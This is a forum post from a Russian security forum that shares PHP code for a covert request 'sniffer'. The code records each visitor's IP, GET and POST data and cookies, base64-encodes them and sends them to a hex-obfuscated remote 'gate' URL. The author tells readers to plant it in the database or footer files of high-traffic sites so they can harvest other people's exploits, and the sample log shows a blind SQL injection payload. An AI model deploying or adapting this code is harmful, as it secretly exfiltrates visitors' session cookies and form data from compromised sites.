HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 28.01.2014, 18:55
winstrool
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875

Репутация: 137
По умолчанию

Изначально снифер предполагался с целью защиты сайтов от SQL-injection, а в дольнейшем при доработке от XSS и брутов админок, но щас его решил выложить как обычный снифер запросов.

Логика проста, некоторые личности постоянно мучают вопросами, как бы под раздобыть актуальные сплоиты. Отвечу, что самим разбирать движки, искать уязвимые моменты, тестить а дальше флаг вам в руки!)

Для самых ленивых есть вариант по проще, использовать PHPSnifer.

Пример клиентской части:

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if (!empty([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_CLIENT_IP'[/COLOR][COLOR="#007700"]]))

[/
COLOR][COLOR="#0000BB"]$ip[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_CLIENT_IP'[/COLOR][COLOR="#007700"]];

elseif (!empty([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_X_FORWARDED_FOR'[/COLOR][COLOR="#007700"]]))

[/
COLOR][COLOR="#0000BB"]$ip[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_X_FORWARDED_FOR'[/COLOR][COLOR="#007700"]];

else[/
COLOR][COLOR="#0000BB"]$ip[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'REMOTE_ADDR'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$bot[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_USER_AGENT'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$script[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'PHP_SELF'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$reff[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]getenv[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"HTTP_REFERER"[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]date[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Y-m-d H:i:s"[/COLOR][COLOR="#007700"]);

function[/
COLOR][COLOR="#0000BB"]Logged_get[/COLOR][COLOR="#007700"]() {

[/
COLOR][COLOR="#0000BB"]$strG[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];

foreach([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$val[/COLOR][COLOR="#007700"])

{

[/
COLOR][COLOR="#0000BB"]$strG[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'='[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$val[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'&'[/COLOR][COLOR="#007700"];

}

[/
COLOR][COLOR="#0000BB"]$stGetlog[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'GET / '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$strG[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"];

return[/COLOR][COLOR="#0000BB"]$stGetlog[/COLOR][COLOR="#007700"];

}



function[/COLOR][COLOR="#0000BB"]Logged_post[/COLOR][COLOR="#007700"]() {

[/
COLOR][COLOR="#0000BB"]$strP[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];

foreach([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$val[/COLOR][COLOR="#007700"])

{

[/
COLOR][COLOR="#0000BB"]$strP[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'='[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$val[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'&'[/COLOR][COLOR="#007700"];

}

[/
COLOR][COLOR="#0000BB"]$stPostlog[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'POST / '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$strP[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"];

return[/COLOR][COLOR="#0000BB"]$stPostlog[/COLOR][COLOR="#007700"];

}





function[/COLOR][COLOR="#0000BB"]Logged_cook[/COLOR][COLOR="#007700"]() {

[/
COLOR][COLOR="#0000BB"]$strC[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];

foreach([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$val[/COLOR][COLOR="#007700"])

{

[/
COLOR][COLOR="#0000BB"]$strC[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'='[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$val[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'&'[/COLOR][COLOR="#007700"];

}

[/
COLOR][COLOR="#0000BB"]$stCooklog[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'COOKIE / '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$strC[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"];

return[/COLOR][COLOR="#0000BB"]$stCooklog[/COLOR][COLOR="#007700"];

}





[/COLOR][COLOR="#0000BB"]$log[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"--\n"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]' :: '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$ip[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]' :: '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$bot[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]' :: '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$reff[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]' :: '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$script[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]Logged_get[/COLOR][COLOR="#007700"]().[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]Logged_post[/COLOR][COLOR="#007700"]().[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]Logged_cook[/COLOR][COLOR="#007700"]().[/COLOR][COLOR="#DD0000"]'--'[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$b[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]base64_encode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$log[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#FF8000"]//кодированый урл http://www.site.com/log.php?l=

[/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x69\x74\x65\x2E\x63\x6F\x6D\x2F\x6C\x6F\x67\x2E\x70\x68\x70\x3F\x6C\x3D"[/COLOR][COLOR="#007700"];

if
([/COLOR][COLOR="#0000BB"]preg_match[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"/(union|select|and|or|count|from|concat|version|database|flor|user|pass)/i"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$log[/COLOR][COLOR="#007700"])) {

[/
COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$b[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]//Отпровляем пакет на гейт!

[/COLOR][COLOR="#007700"]} else {

[/
COLOR][COLOR="#FF8000"]//Любой другой код если вхождение не верно!

[/COLOR][COLOR="#007700"]}[/COLOR][/COLOR
а вот пример серверной части, той что будет принимать нужные нам логи:

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'l'[/COLOR][COLOR="#007700"]]) {

function[/
COLOR][COLOR="#0000BB"]Logged_get[/COLOR][COLOR="#007700"]() {

[/
COLOR][COLOR="#0000BB"]$strG[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];

foreach([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$val[/COLOR][COLOR="#007700"])

{

[/
COLOR][COLOR="#0000BB"]$strG[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'='[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$val[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'&'[/COLOR][COLOR="#007700"];

}

[/
COLOR][COLOR="#0000BB"]$stGetlog[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'GET / '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$strG[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\n"[/COLOR][COLOR="#007700"];

return[/COLOR][COLOR="#0000BB"]$stGetlog[/COLOR][COLOR="#007700"];

}

[/
COLOR][COLOR="#0000BB"]file_put_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'DOCUMENT_ROOT'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]'/log.txt'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]base64_decode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]Logged_get[/COLOR][COLOR="#007700"]()),[/COLOR][COLOR="#0000BB"]FILE_APPEND[/COLOR][COLOR="#007700"]); exit();

}
else { exit(); }[/COLOR][/COLOR
С помощью регулярки:

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]preg_match[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"/(union|select|and|or|count|from|concat|version|dat abase|flor|user|pass)/i"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$log[/COLOR][COLOR="#007700"])[/COLOR][/COLOR
мы определяем ключевые слова использующиеся при иньектах и отправляем на гейт, лог.

Пример лога:

Цитата:
Сообщение от None  
2014-01-29 00:06:22 :: 127.0.0.1 :: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1) Gecko/20060601 Firefox/2.0 (Ubuntu-edgy) :: :: /index.php
GET / option=com_muscol&view=search&search=albums&genre_ id=1 and(select ascii(mid(concat(version()), 1,1))=53)&
POST /
COOKIE / c8ea09e9e33b9c6dbcb7087efafc7945=3dd23bbdd1352e8ae 2141351e10a130e&
Нам остается в каких нить популярных движках про инклудить серверную часть, к примеру в файл с БД или footer, чтоб это все дело отлавливалось на всех страницах.

Далее берем трафистые сайты на разных движках и ставим снифер. Трафистые сайты постоянно ломают, поэтому улов будет железный!) А частенько по подаются такие экспы...

P.S: Пробуйте, экспериментируйте, удачи!)

P.S2:В коде была ошибка исправил!
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ